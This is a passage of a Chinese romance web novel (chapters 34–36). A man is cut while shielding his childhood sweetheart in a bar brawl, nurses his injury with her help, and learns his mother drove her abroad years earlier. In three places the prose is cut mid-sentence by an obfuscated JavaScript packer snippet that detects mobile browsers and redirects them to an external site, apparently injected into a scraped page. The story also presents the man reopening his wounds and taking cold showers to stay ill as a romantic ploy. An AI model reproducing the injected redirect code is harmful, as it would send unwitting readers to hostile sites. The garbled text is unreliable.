“抱歉，实在是不好意思。”男生难掩失落地离开了。 最后一位客人离开后，楼上电吹风的声音消失，接着就是下楼的脚步声。 池煜头发吹了个半干，看见她在对着空气傻笑，目光落在她脸上，片刻也跟着勾起了唇，“在笑什么，怎么这么开心？” 洛姝收回神，笑容得意，才不告诉他真正原因：“今天赚钱了嘛，当然开心。” 池煜指着柜子里包装最精致的糖果，“那我能买你的开心么。” 洛姝眼睛弯弯：“当然啦。” 池煜扫码转账一气呵成，“这些我都要了。” 与此同时，洛姝听见语音收款提醒—— 六位数，五个零。 “你把我这个月的开心都买了耶。” 洛姝双手合十，贴在脸侧，与他距离拉得很近，能闻到他刚洗完头的洗发水味道，他染上了自己的味道。 池煜目光落在她脸上，如实回答：“嗯，我比较贪心。” “我太开心了，所以——”她说， “可以吻你吗？” “可以。” 池煜凑近她，以索吻的姿势仰头去看她的唇，用目光描绘了一千遍，才得以按捺住主动吻上去的冲动，把选择权全权交给她。 “你想对我做什么都可以。”他仍是这句。 * “哥们，咱们这是酒吧，不是糖果店。” 唐烨朝箱子里看了眼，里面全是包装精致的糖果，他随手挑了两颗丢到嘴里，跟猪八戒吃人参果似的，连味道都没怎么品尝出来就已经把糖咔咔地嚼碎咽进肚子里。 “太齁了。”他点评，然后抓了一把糖丢小李口袋里，“尝尝。” 小李兴致缺缺：“我不爱吃甜的糖。” 唐烨又把糖从他口袋里拿出来丢到吧台上，边吃边疑惑道：“弄这么多糖干嘛，你要发展别的业务啊？” 池煜笑了笑：“照顾洛姝的生意。” 小李忙里抽闲，感叹：“煜哥，你一定能追到嫂子的。” 这话池煜爱听，“借你吉言。” 唐烨知道洛姝在粱城帮赵慕挽看店，他轻啧了两声，“不止齁，还酸。” 小李跃跃欲试：“酸吗，我就喜欢吃酸的，我来尝尝。” 唐烨无语扶额：“你小子干脆别调酒了，去看动画片吧，成吗？” “那不成啊，就是你不给我开了，煜哥不得给我开咯？”小李在两个老板的脸上来回看着，一下子看到池煜嘴巴上破皮的地方，“嚯”了声：“煜哥，你嘴巴咋破皮了？” “不小心咬到了。” “诶——不对劲，给我看看。”唐烨这才注意到池煜的嘴巴异常，他上身前倾，没等凑近，池煜往后仰，笑骂：“滚，离我远点儿。” 唐烨秒懂，笑得暧昧，手放在桌上敲了敲：“不小心～咬到了呢，怎么这么不小心啊——” “聊什么呢，几位。”洛姝从洗手间出来了，坐在池煜的旁边。 小李嘴快，说：“我们正问煜哥嘴巴怎么破皮了呢，煜哥说不小心咬到了。” 唐烨再次扶额，替洛姝和池煜尴尬了两秒，而后清了清喉咙，没接茬。 “不过幸好煜哥不怎么吃辣，要不然得疼死。”小李补充了一句。 罪魁祸首洛姝低头笑了笑没应声，她侧身看向台上那个脸长得不错的吉他手，他很瘦，穿得很摇滚却弹着轻柔小调。 这种反差让她忍不住多看了两眼，见池煜一直看着自己，她回过神，指了指他破皮的唇，坏笑了下，随口说：“你最近得吃点清淡的了。” 池煜挺直上半身，完完全全挡住她视线，漂亮的杏眼很浅地弯了下，语气很平常：“不，我选择吃醋。” 洛姝听懂了他的画外音，长长地“哦”了声，意有所指：“那要变成醋王了。” “啊？”小李不解风情，小李震惊，“煜哥，吃醋也会比较烧嘴吧？” “噗——” 唐烨差点因他的话被酒呛死，他真听不下去了，此时此刻很想指着小李说，你听不懂他俩在打情骂俏吗？！ “再说话，提成倒扣五百。”唐烨冷漠无情地说完，给了池煜一个“兄弟我能帮你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375744|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的就这些”的眼神。 小李有怨言但不敢忤逆，唐烨也不再逗留，端着酒杯去卡座跟老熟人碰杯，吧台位就剩池煜和洛姝两个人。 池煜依然坐得笔直，不让洛姝看那个长得还不错的吉他手。 “你坐那么直干嘛？”洛姝明知故问。 池煜不买账，“站有站样坐有坐样，你不是从小就知道吗。” 洛姝不兜圈子了，侧目望过去，看见了吉他手微卷的头发，其实她也不是觉得有多好看，就是想逗逗池煜而已，故作敷衍：“知道知道。” “你看我不好吗。” 他略带孩子气地说，“我离你这么近——” 话没能说完，被酒瓶砸地的巨大声响打断，洛姝吓得一个激灵，慌忙朝声源处看去。 九点钟方向的卡座，喝得醉醺醺的男人大着舌头，握着瓶身，用碎裂的那一头指着对面打扮得光鲜亮丽的漂亮姑娘，怒气冲冲道：“都跟我出来喝酒了还装什么清高啊，摸个手都不行，他妈的跟老子欲擒故纵是吧！” 唐烨离得最近，他把女孩儿护在自己身后，对喝醉的男人赔着笑，打着圆场：“怎么了这是，好好的发什么火呢？和气生财哈。” 男人呸了声，口中发出腐烂的酒气恶臭味，脸红脖子粗道：“你谁啊，管什么闲事！” 原本还在各自位置上谈笑的客人们立刻噤声，开始往别的地方躲，生怕男人情绪不稳定做出什么极端的事情来。 “我过去一下。” 池煜安抚地拍了下洛姝的肩膀，当即站起来朝那边走，洛姝慌忙跟在他身后。 唐烨脸上已经没了笑意：“公共场合，还请注意点分寸，否则我要报警了。” 男人酒气冲天：“有你什么事，你他妈谁啊，吃饱了撑得吧管老子这么多！有本事去报警啊，让他们来抓我。” 他捏着酒瓶再次砸在地上，出言不逊：“给老子滚边儿去，有你什么事！” 漂亮姑娘被吓得尖叫，双腿一软倒在地上，周围的人也因她这一声吓得倒抽气，走得走跑得跑，场面立刻骚乱起来，却没有一个人愿意把那个姑娘扶起，全都置身事外。 洛姝实在看不下去，小跑过去将那女孩儿扶起来，轻声说：“你还好吗，自己能站起来吗？” “谢谢……” 女生埋着头，不停地道谢，脸色惨白地跟洛姝朝反方向走。 洛姝扶着她，回头担忧地看了眼池煜，他离那个男人太近了，她不由得紧张起来，提醒：“池煜，你躲远点儿。” “他妈的……” 男人瞥见女生的背影，暴喝：“臭婊子你给我站住，还敢跑？” 他想追出去，奈何喝得太多脚步虚浮，脚一歪朝地上摔去，手中的瓶子抛出弧线，直直朝向洛姝的方向扔过去。 唐烨正在打电话和警方交涉，被这一刻的意外惊地张大嘴巴，迈开了步子，大吼：“我靠，洛姝快往旁边躲一下！” 小李也慌忙跑过来，大喊：“洛洛姐，快闪开！” 耳边全是尖叫。 洛姝突然在这一刻耳鸣，耳朵嗡嗡响，她有些迟钝地抬起手去捂那只耳朵，直直地盯着朝自己飞来的碎瓶子，完全来不及做出相对应的反应。 就在她下意识要捂住脸，闭上眼睛的那一霎，鼻尖嗅到了自己常用的洗发水味，接着就是一只胳膊搂紧自己的腰，整个人被按在温暖的怀抱里，耳朵紧贴着他的心口。 扑通、扑通。 强有力的心跳声震着她那只完好的耳朵。 几乎是同一时刻，瓶子落地。 砰！ 碎酒瓶因外力转移了方向，摔得四分五裂。 34. Chapter 20 耳边的尖叫落下帷幕。 洛姝被箍紧在池煜的臂弯里，他跑得有些猛，胸口微微起伏，拥住她后舒了一口气，而后在她头上狠狠揉了一下：“吓到了吧。” 洛姝从他怀里扬起头，急切开口：“你给我看看手。”刚才一晃眼的功夫池煜就到了她身边，那只碎瓶子似乎是被他用手挥到地上的。 “我没事。”池煜安抚她。 “都愣着干嘛，快叫救护车……诶错了，先止血！” 小李吼出声，“没事啥呀没事，煜哥你胳膊都被玻璃扎到了，那里有动脉的啊。” 酒吧供应暖气，池煜身上穿着略宽松的黑色羊绒衫，露出一截结实流畅的小臂，当时事发突然，他冲过来的时候，想都没想直接抬手拦截，原本就粘在瓶子上碎裂的玻璃直接扎进手心和手臂。 拦倒是拦住了，就是手和小臂都挂了彩，血迹往外涌，看起来很可怖。 小李年轻气盛，吼完便脸色铁青地扯起摔在地上的男人，不管不顾便扬起拳头要砸下去：“妈的，闹事儿是吧！” 男人也被这意外吓得酒醒大半，看见暴怒的小李慌忙往唐烨后面躲：“我、我……” 唐烨还举着手机和警方说明情况，眼疾手快地制止小李的拳头，他虽然也很恼火，但在公共场合，法治社会，这么多双眼睛盯着，公然举起拳头，实在不妥。 他攥住小李胳膊，目光有些凶，制止：“李净！” 现在网络发达，吃瓜群众举着手机拍出去发在网上，事态很快就会发酵起来，就事论事说“夜色浓”员工殴打顾客便算了，万一添油加醋，指不定越传越乱，到时候这生意还做不做了？ 今晚这一通闹下来还需要解决，还得安抚被吓到的顾客，唐烨喊来服务员，交代：“今晚店里酒水全免，每个客人送两盒进口糖果。” 他朝吧台上那只巨大的纸箱指了下，然后凑近小李，低声说：“私底下你给他揍一顿哥不拦你，现在可不成，给哥一个面子，啊。” 安抚地拍了两下李净的肩膀，唐烨招呼两个服务生过来：“来，跟我把他抬椅子上，店里损失他没赔呢，可得给人看好了。” 他费了好大力气给人拖椅子上，一回头发现暧昧期的两个人竟然还耗在这里，彼此眼中没有旁人存在。 洛姝白着脸，那张漂亮精致的面容上挂着一副要哭的表情，仔细盯着池煜渗着血的手，用镊子夹把碎玻璃夹出来后拿碘伏球给他消毒。 她的手有些发颤，语气是训斥的口吻：“你抬起来我看看……这玻璃都扎肉里了。笨死了你，干嘛冲过来啊？” 她嘴上恨恨说着，碘伏球却不敢用力气摁在伤口。 池煜坐在她对面，歪着头，目光始终盯在她脸上，不错过她的表情，很轻地“嘶”了声，笑着求饶：“好了别生气了。我可疼了，你心疼心疼我吧。” “……” 洛姝神色缓和了些，垂着头给他伤口吹了吹。 “刚刚是不是吓坏了？”他声音压低，神色温柔。 洛姝注意力都放在他手上，嗯了声，“那你呢，是不是痛死了。” 池煜帮她把碎发绕到耳后，温声强调：“是很痛，所以让你心疼心疼我啊。” 这语气听起来像撒娇。 洛姝狠不下心说重话，毕竟池煜这番举动是为了自己，如若他没冲过来护住自己，那挂彩的就是她了。 “就是因为心疼才生你气啊。”她笨拙地帮池煜简单地缠了几圈纱布，“先这样吧，等会儿到了医院让医生重新包扎一下。我去拿外套。”说着便匆匆跑上二楼休息室。 唐烨把目光落在当事人身上，相较于洛姝的紧张，池煜却一派轻松，脸上的笑容在他看来有些得逞意味，看这样子只是伤到了皮肉，尽管瞧着有些触目惊心。 唐烨松了口气，选择过去关心了一下，只不过嘴上没个把门儿，话也不中听：“不愧是大学选了两年排球课的男人，抓酒瓶都能这么准。” 池煜笑骂：“滚。” 唐烨这才收了玩笑神色，狐疑地盯着他：“看你笑成这样，真没事？” 池煜点头，说：“没事。” “没事就成。” 确实只有几块碎玻璃碴子嵌进肉里，手心被血染红看不太真切，好在没有伤到动脉上，唐烨用肩膀撞他，“你这胳膊可把你小青梅吓坏了，还不去安慰安慰。” 池煜悠哉悠哉晃了两下胳膊，口吻带着炫耀：“你没听见我小青梅让我等在这里啊？” 唐烨啧了声，听到急促的脚步声，往二楼一望，洛姝抱着两件外套下来，脸上的表情委实说不上轻松，步伐也因关心则乱有些虚浮。 池煜也看见了，急得站起来就要往她那儿走，还不忘提醒，“慢点儿跑。” “我知道我知道！” 洛姝急声阻止他，果真跑得慢了些，“你别过来了，就坐在那儿等我就好。” 池煜听话重新坐在椅子上，修长的腿不像以往那样随意伸着，坐姿很端正，目光紧紧跟着她，那眼神，生怕她丢了似的。 唐烨见状，失笑着摇头。 真有意思，彼此惦记，彼此珍惜的两个人竟然能分开这么多年，简直匪夷所思。 他在池煜肩膀上推了一把，揶揄：“喏，你的天命之女向你跑来了。” * 池煜的伤口不算深，还没到缝针的地步，又加上在酒吧，洛姝当即就给他做了简单的处理，来医院省了护士不少时间，几分钟就包扎好了。 离开前，洛姝忍不住问护士小姐，“之后还有什么需要注意的事项吗？” 护士说：“不要沾水就可以了，平时可以用碘伏消消毒。” 洛姝还是不太放心，接着问：“吃食上面有没有什么需要忌口的呢？” 女护士笑了：“不用太担心，你带他来之前已经做了相对应的处理，还知道避着风，没什么大碍。忌口什么的倒是不用——若实在担心就少吃辣，注意休息。” 她贴心提示：“你男朋友看起来有些睡眠不足。” 洛姝点头如捣蒜，在心里默默记下后，转头瞧了眼站在身后的池煜，抬手拍了拍他搭在自己肩上的左手，“听见没，回去要好好休息。” 女护士抬头，就见始终不出声的伤者垂下眼眸，展开一抹笑，笑得很宠溺，说出了来医院的第一句话：“遵命。” 伤者把凳子让给了女朋友，自己安静站在旁边，忽略他包扎着绷带的右手，看起来像是陪女朋友来看病的。 哎呦喂。 年轻又养眼的小情侣谈恋爱似乎都很手到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375745|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擒来。 洛姝的脸色这才缓和下来，笑着对护士小姐说：“谢谢你，今晚真是麻烦你了。” “不客气，应该的。” 女护士笑容灿烂，这对小情侣客气又有礼貌，关键是颜值够高，对她眼睛很友好，她没忍住还是说了句：“你们很般配哦。” “谢谢。” 洛姝愣神的功夫，池煜对护士小姐礼貌周到地道了谢，而后牵着洛姝离开急诊室。 出了医院大厅，洛姝小心翼翼地抬起他手臂，到底还是得专业人士来包扎，这一对比显得她此前包扎的简直毫无章法。 她叹了声，说“伤的还是右手，你得练练左手吃饭了。” 池煜认真地思考了下，“也不是不行。” “跟你开玩笑而已，干嘛这么顺着我啊。”洛姝不满地走在他前面，一看见那只手就想到在酒吧电光火石间的一幕。 她愧疚地不行，凑近又去看：“这段时间是不是吃不上你做的饭了？好可惜——不过你可以教教我，怎么样？” 池煜垂眸看着她的一举一动，而后看向自己的手。其实没那么夸张，伤口不深，护士给他重新上药的时候他就看见那些伤口开始结痂，顶多过两天就好了，就算伤口没有完全愈合也耽误不了做饭。 可是他心心念念了这么多年的姑娘正抬头，一脸殷切地询问，“正好让我偷偷师，学学手艺呗池大厨？” ……刚刚洛姝说了什么？ 光顾着盯着她看，全然没注意她唇瓣张张合合说了什么，池煜却还是摸了摸她的头发，答应：“好啊。” * 半小时后，洛姝和池煜来到了派出所。 唐烨也已经做完了笔录，瞧见池煜，指着他，对警官说：“这就是我合伙人之一，监控里保护女朋友被砸伤的人就是他。” 警察询问池煜的伤势情况如何时，醉酒男也写好检讨书出来了，他对大闹酒吧，损坏财物以及故意伤害他人供认不讳，对此前唐烨出言不逊也道了歉。 看见池煜绑着纱布的手，他更是连连道歉：“真对不住啊兄弟，对不住，我喝多了没个分寸，别跟我计较。之后我会常去你们店里消费。当然，这次赔偿我不会少。” 既然话都说到这份上了，事情也已经过去了，池煜也没有计较的心思。 醉酒男把医药费和店内损耗的钱赔偿后便千恩万谢地跟着家人离开警局，和他同行的女生也已经被女警送回了家。 这件事儿掀起的水花就这么轻飘飘揭了过去，唐烨走出外面才叹了口气，下意识想打支烟抽，碍于洛姝在场便忍住了，烟夹在耳朵上，问：“医生怎么说，没缝针吧？” “没，小伤。” 池煜说完，提醒洛姝起风了，夜里冷，让她把拉链拉高。 洛姝没应声，池煜又说：“听话。” 他的小青梅这才照做。 唐烨露出个一言难尽的表情，怎么感觉自己待在这里像电灯泡呢？ 他当自己耳聋了，听不见，指着头顶上的月亮：“你们看，今晚月亮挺圆的。” 洛姝和池煜同时抬头，唐烨准备溜之大吉，揶揄道：“我先回去了——你俩继续你侬我侬吧，在这花前月下。” 洛姝：“……” 池煜：“……” 35. Chapter 21 呼噜呼噜呼噜—— 是什么东西在响，打碎了光怪陆离的梦。 洛姝掀开眼，布偶猫剔透的蓝眼睛正盯着她，并非一只而是一群，全都蹲在枕头边，看她醒来就去蹭她脸颊。 大脑宕机片刻，洛姝望向窗帘透进来的光线，到点了，现在该是给它们放饭时间。 喂完猫，她三下五除二梳洗好自己，在出门左手边的早餐店随便吃了几口，独自一人去了早市。 驱车前往池煜家的时候路遇花店，洛姝相中了橱窗琉璃花瓶中的雪柳，鬼使神差地买了下来，觉得很适合放在池煜家木质玄关的位置。 一路无阻地到了他家门口，虽然早在第一次来时，就已经知道了房门密码并录入了她的指纹，洛姝还是保持着一定的分寸，怀抱着花瓶，按响门铃。 静等了片刻，门从内开了条缝隙。 池煜借用手肘把门完全拉开，左手缠着绷带的右手朝她挥了挥：“早。” 洛姝先注意到他顶着满头白色泡泡的湿润头发，他在洗头，还是洗了一半听到门铃匆匆赶出来的，左手上还沾着同样的泡泡。 “早。” 她回道。 她手里拎着从早市买的蔬菜，以及散发着阵阵香气的早点，德芙摇晃着欢快的尾巴绕着她转圈圈，怀中发了芽又生长繁乱的雪柳遮住大半视线，腾不出手去摸它，艰难地往前挪步，打了声招呼：“早上好啊，德芙。” 池煜去接花瓶，被洛姝躲了一下，“诶，你的手还没好呢，我自己来。” “没断，能拿。” 池煜不由分说地把花瓶拿在右手中，扫了眼玄关柜，询问她意见：“放在这里可以吗？” 确实如洛姝所想，琉璃花瓶里的雪柳放在玄关柜上确实挺搭：“没问题。” “那你先坐会儿？” 池煜笑着用左手指着自己的头发，“我去洗个头。” “嗯，你不用管我。” 洛姝轻车熟路地换好了鞋，把手里拎着的早点和蔬菜分别放到餐桌和厨房，她卷起袖子边，在他开着的卧室门口敲了下：“你自己洗头可以吗，右手不太方便，会不会沾到水？” 花洒骤然间停止水声，浴室内传出池煜的声音，他似乎遇到了难题，顿了片刻才无奈道：“已经沾到了。” “池煜你真是……” 洛姝下意识就朝里走，走了两步又顿在原地，“需要我帮忙么。” “很需要。”他答应得很快。 然而踏进浴室门，池煜正倚在盥洗台边，头发已经洗好还未及时使用电吹风，只简单擦了擦短发便随意地撩起来，一派闲适模样。 得逞的笑容很明显，意图写在脸上。 “需要帮忙？” 洛姝反问，打量着他并没有沾到一丁点儿水渍的右手，勾起了一个算是礼貌的笑容，“理由很拙劣啊。” 池煜毫不掩饰：“可是很有效啊。” 他从柜子里拿起电吹风，试了下温度，对着镜子开始吹头发。 “我来吧。” 洛姝接过电吹风，奈何面前的人太高，饶是低下头，她还需要稍微踮着脚才行。 “我的错。”池煜也察觉出她此刻的窘迫，他笑着从柜子里找出一把折叠小凳坐稳，仰起头望着她：“这下可以了。” 洛姝还记得以前他也是这样给自己吹头发，她喜欢被池煜摸头发的感觉，很舒服，困意能被勾出来，每次在他给自己吹头发时，就会坐在凳子上闭着眼小憩。 现在换了个位置，她趁机揉了揉池煜的短发，发质不算软，却也没硬到扎手的地步，只是湿发粘在一处，挠在手心有些发痒。 “你上一次剪头发是什么时候？” 她的动作轻柔，池煜牵过很多次她的手，指腹细腻又柔软，十指纤细，指甲一如既往修剪整齐。 电吹风呼呼发出的噪音盖住了她说话的分贝，池煜仰着脸一瞬不瞬地盯着她看，想仔细分辨她漂亮的唇瓣在说什么，却怎么也听不清。 ——想亲。 池煜只给自己半秒的思考时间，便遵从本心，一把将人捞到腿上，而后顺着她举起的手臂摸到电吹风按钮，单手覆在她手背，摸索着摁了关闭。 终于安静了下来。 他拉近两人的距离，盯着她的唇瞧了眼，而后落在她眼睛，眸色晦暗：“我想亲你。” 突如其来的亲密举动让洛姝始料未及，她迟缓地地盯着池煜方才发出声音的唇，反应过来他说了什么，下意识地点了点头。 缠着绷带的掌心贴着黑顺的头发，池煜仰起脸，以一个索吻的姿势去吻她，动作很小心，带着珍惜，微凉的唇覆上片刻便移开。 如同上一次在休息室，她提出的那个吻一样。 蜻蜓点水，一触即分。 与其说是吻，洛姝更觉得这像是他小心翼翼地盖了个等待她回应的章。 她稍稍拉开两人的距离，垂下眼眸，略有些居高临下的姿态。静滞片刻后，她捧起池煜的脸，一如少女时代那般，近乎珍重地吻上了他的唇。 狂乱心跳交织，腰被他有些强势地箍住，牢牢拥她入怀。 洛姝有些怔忪地掀起眼睛，看着他闭合的双眼下浓密纤长的眼睫轻颤，给予她相同的回应。 直到手中的电吹风因脱力砸在地上发出巨响，仿佛是为了给这绵长的吻以叹号做结尾，德芙听见响动晃着尾巴赶来，朝相拥的两人“汪”了声，表情有些不明所以。 虽然人狗有别，但洛姝还是被金毛小狗看得有些窘迫，她咳了两声，解释：“我在给你主人吹头发。” 池煜捡起地上的电吹风，纠正：“妈妈在给爸爸吹头发。” 洛姝没来由得被这称呼闹红了耳根，虽然这称呼是当年德芙还是小奶狗的时候她主动说出口的，可是这还是她头一次听池煜说出来，竟然莫名让她觉得有些害羞。 虽然话是从他口中说出来的。 洛姝忍不住想，这些年池煜究竟经历了什么，怎么跟以前那个话少内敛的他完全不搭边了？ 德芙又“汪汪”叫了两声，尾巴摇得更欢快，用身子去蹭他们。 池煜发号施令：“出去玩吧。” 听得懂主人的话，德芙晃着身躯敏捷溜出浴室，留下一对尚在暧昧阶段的狗主子。 恰在这时，洛姝收到好闺蜜的消息轰炸。 梁诺诺：我今天回国哦，你在不在慕挽店里，我去找你玩！ 洛姝：我在池煜家里。 梁诺诺秒回：嗯？！你俩发展这么快已经同居啦？ 洛姝纠正：我这明明叫探望病人。 细致地描述了一下昨晚发生的，生怕梁诺诺想歪，她保证：等他手好了我就走。 梁诺诺只挑着她上一句回复：不错嘛，英雄救美［强］［强］ 德芙已经走出浴室近三十秒，洛姝还在池煜腿上坐着，看完闺蜜的回复，她手忙脚乱地把手机放在台面上，重新接过电吹风，给池煜吹发之前，她随口说：“不知道你的手什么时候能好。” 设置的息屏锁定时间为三十秒，在屏幕将要彻底按下去前，池煜扫到了她手机上一来一回地消息，字体有些大，又近在眼前，想看不见都难。 ——等他手好了我就走。 池煜在心里默读了两遍，不动声色地绷紧掌心，微微用力后，雪白的绷带便渗出了血迹。 “估计得过一阵子。”他轻声说。 * 然而事实证明，池煜的伤口愈合能力很迅速。 晚上洗澡前他解下缠绕的纱布，右手及小臂错落的伤口已经结了一层薄薄的痂，这意味着他的手快好了。 德芙嗅着主人的手，紧张地嚎叫。 池煜安抚：“快好了。” 小狗的焦躁这才减轻了些，可是在池煜看来，这并不算什么好事，可以说有些糟糕。 伤口愈合就意味着，他见洛姝的理由又少了一个。 他用力攥紧手心，近乎自虐似地绷紧小臂，将所有结痂的伤口都绷出血口，感受到略微刺痛的火热烧灼感倏然收手。 慢条斯理地把血迹擦净，池煜简单地为自己包扎后，又在思考一个问题。本就不深的伤口总是无法愈合就存在很大的问题。 粱城的冬季还未完，窗外树影斑驳，夜风仍刺骨。 池煜盯着看了片刻，没什么情绪地进了浴室。 * 次日上午，洛姝一如昨日给猫喂水喂粮后去了池煜家。摁响门铃后，很快池煜便给她开了门，“下次直接进来就好。” “嗯……嗯？你感冒了？” 洛姝换鞋的动作顿住，抬头看他。仅仅是一晚没见，池煜骤然有了浓重鼻音，额前的头发乖顺地垂着，眉眼压低，整个人有些无精打采。 看起来和少年时代的他有些相像，略带攻击性的五官此刻看起来格外桀骜不驯，彰显锋芒。 可他在对上洛姝的目光时，眉头松懈，那股锐利感立刻消弭，无奈地笑了笑：“嗯。” 洛姝皱紧眉头，抬起手背贴上他额头，“怎么会感冒呢，昨天不是还好好的？” 池煜解释：“晚上温度低。” 这话说服不了洛姝，她从药箱里找出温度计，甩了甩：“家里不是有暖气吗？” “忘了开。”他抵着拳，咳了好几声。 洛姝纳闷：“就算是忘了开也不至于着凉感冒呀。” 池煜：“也许是因为有点年纪了。” 洛姝：“胡说什么呢，二十多岁年纪轻轻好吗。” 德芙绕着她转了好几圈，听见主人说话冲着他汪汪叫，用两只前爪拼命地挠着洛姝的手臂。 “怎么啦德芙？”洛姝安抚地拍了拍狗脑袋，见不奏效，问池煜：“它怎么了，这么兴奋？” 池煜一本正经：“看见你太开心了。” 洛姝怎么瞧着金毛小狗看起来有些小脾气：“……看起来不太像啊。” 池煜笑着接过洛姝手里的水银温度计，没再解释， 他想，若是德芙会说话，想必一定会在洛姝面前揭穿他的谎言，顺便控诉他之所以变成这样，是因为昨晚洗了几遍冷水澡的缘故。 * 池煜发烧了，烧得还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375746|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不轻。 洛姝当即就要陪他去医院，奈何拗不过他，只好采用物理降温的方式。降温效果显著，又恰好到午饭点，她推着人躺进卧室，给他煮了碗卖相不佳，看起来十分清汤寡水的面。 池煜没有在卧室吃饭的习惯，他端着碗坐在餐桌旁，挑起一筷子吹了吹，洛姝实在是相不中自己煮的东西，又从他手里夺过来，“要不我还是去店里点餐打包带回来吧？” “哪儿用这么麻烦，我不挑食。”池煜拦下她拿手机的动作，看着碗里的面，问：“你的呢？” 洛姝挠了下脸：“我没煮……哎呀我不饿，你吃饱了好好睡一觉。” 池煜感冒后闻不到味道，也没什么胃口，他放下筷子：“想吃什么，我给你做。” 他属于能做的事一般不会说出来，说出来就会立刻去执行的人，话到中途已经站了起来要往厨房走，洛姝眼疾手快地拦截，情急之下吐露了心思：“我真不饿！你都病成这样了我还哪有心思吃饭……” 洛姝突然停住声，顿了一秒才继续：“你快吃，吃完好好睡一觉。” 可他还在坚持，漂亮的眼睛里竟闪过一丝执拗，洛姝没来由地一怔，她很少在他身上感受到这种情绪，仅仅是因为不想让他做饭给自己吃。 感冒加发烧扰的他有些头晕，池煜叹息一声，弯起唇：“我都病了，你就让让我吧。” 洛姝败下阵来，她自己站起来：“你吃你的，我自己煮。”迈步进了厨房她有所觉地回头，警告：“不许跟来！” 池煜只好坐回去，应了声：“好。” 饭后好说歹说，洛姝才给他劝到床上躺着。 池煜闭了闭有些发涨酸涩的眼睛，她见状，倒了杯温水放在床头，小声地说：“那我回去啦，你好好休息。” 他不说再见，捂着心口：“闷。” 洛姝立刻紧张起来：“闷？果然生病了就不舒服，我们还是去医院看看吧。” “不要。”池煜拉住她的手，因发热的缘故，他的掌心滚烫，他慢慢收紧她的五指，眸中迸发笑意：“你亲亲我，就好了。” 怎么会有人生个病这么黏人呢。 虽然知道这不过是他索吻的借口，洛姝还是心软，俯下身看他：“亲一下就不闷了？” “嗯。” 池煜偏开头，指尖点了点脸颊，煞有介事道：“还是这儿吧。怕感冒传染给你。” 洛姝捧起他的脸，盯着他的唇看了片刻，而后望着他颤动的眼睫，请润润的眼睛里偏执不再，只剩下期待。 “我就不。”她说。 啵。 在安静的卧室里如同打了一个清脆的响指。 洛姝用力地亲了这一口，也同时收获了烧红的脸颊。 天……怎么这么响？！ 她尽量让自己看起来很平常，给池煜掖了掖被角，“我回去了。你好好睡一觉，晚上见。” * 洛姝告辞后，池煜昏沉的脑袋立刻停止所有思考，他合上沉重的眼皮，任由自己陷入梦中。 不知睡了多久，门铃响了。 以为是去而复返的洛姝，池煜撑着脑袋拉开了门，看清是蒋春燕后，绽开的笑容变淡，“妈。” “你这什么表情，看见你妈就这么不高兴么。”蒋春燕盯着他的脸色，嗤了声带上了房门，自顾自换鞋：“我还能给你吃了？” 阴阳怪气了一通，她才来得及关心儿子的鼻音：“多大的人了，也不知道好好照顾自己。怎么感冒了，听起来怪严重的。” 池煜嗯了声，给她倒了杯温水。 “诶——你的手怎么了？”蒋春燕眼尖，声音有些急：“该不会是跟人打架了吧。” 池煜敷衍：“没，不小心碰到了。” 蒋春燕坐在沙发上，重重哼了声：“只是碰到的话，能裹这么严实？又跟人打架了吧！” “什么事值得我动手啊。” 蒋春燕嗤了声，手指敲在茶几上：“以前你不是总爱为洛姝那丫头出风头么，难道你忘了？” 她想到前几天在儿子家门口遇见的洛姝，当时她还牵着池煜养了多年的金毛，笃定道：“这次怕又是因为她吧。” “是我自己不小心，跟她有什么关系？”池煜把杯中的水一饮而尽，杯子放在大理石台面上发出清脆的响声，听起来很是不满。 蒋春燕对他的态度不满，立刻火冒三丈，不依不饶起来：“不小心能缠这么一大圈纱布？前一阵子我在你家门口碰到她，今天想来看你，你的手就包成这样——” 见池煜不说话，她怒火更甚。 想到自己从浔城大老远来见儿子，他连笑都不对自己笑一下就算了，竟然因为不相干的人跟自己理论起来，这算什么道理？ 这么想着，蒋春燕心中更为恼怒，不管不顾地把以前的事抖出来：“不用猜都知道你是因为她受得伤。当年我就该做得再绝点，逼这个灾星出国后永远不回来才对，省得你到现在还因为她——顶撞我这个妈！” 池煜捕捉到关键词，眉头皱紧，语气沉下来。 “你说什么？” 36. Chapter 22 气氛在池煜反问的那一霎凝滞，陡然降至冰点。 自此盘桓在他心底多年的谜题，彻夜思索不出答案的谜题，在这一刻真相大白—— 学生时代，洛姝为什么会执意与他分手，又一声不响出国多年切断所有联系，又为什么在粱城相遇后保持着恰到好处的疏离，皆有了解释。 并非是因为自己年少性格日复一日的沉闷，而是在他毫不知情的情况下，双亲介入了那段青涩初恋导致出现裂痕。 生他养他的父母竟然是罪魁祸首。 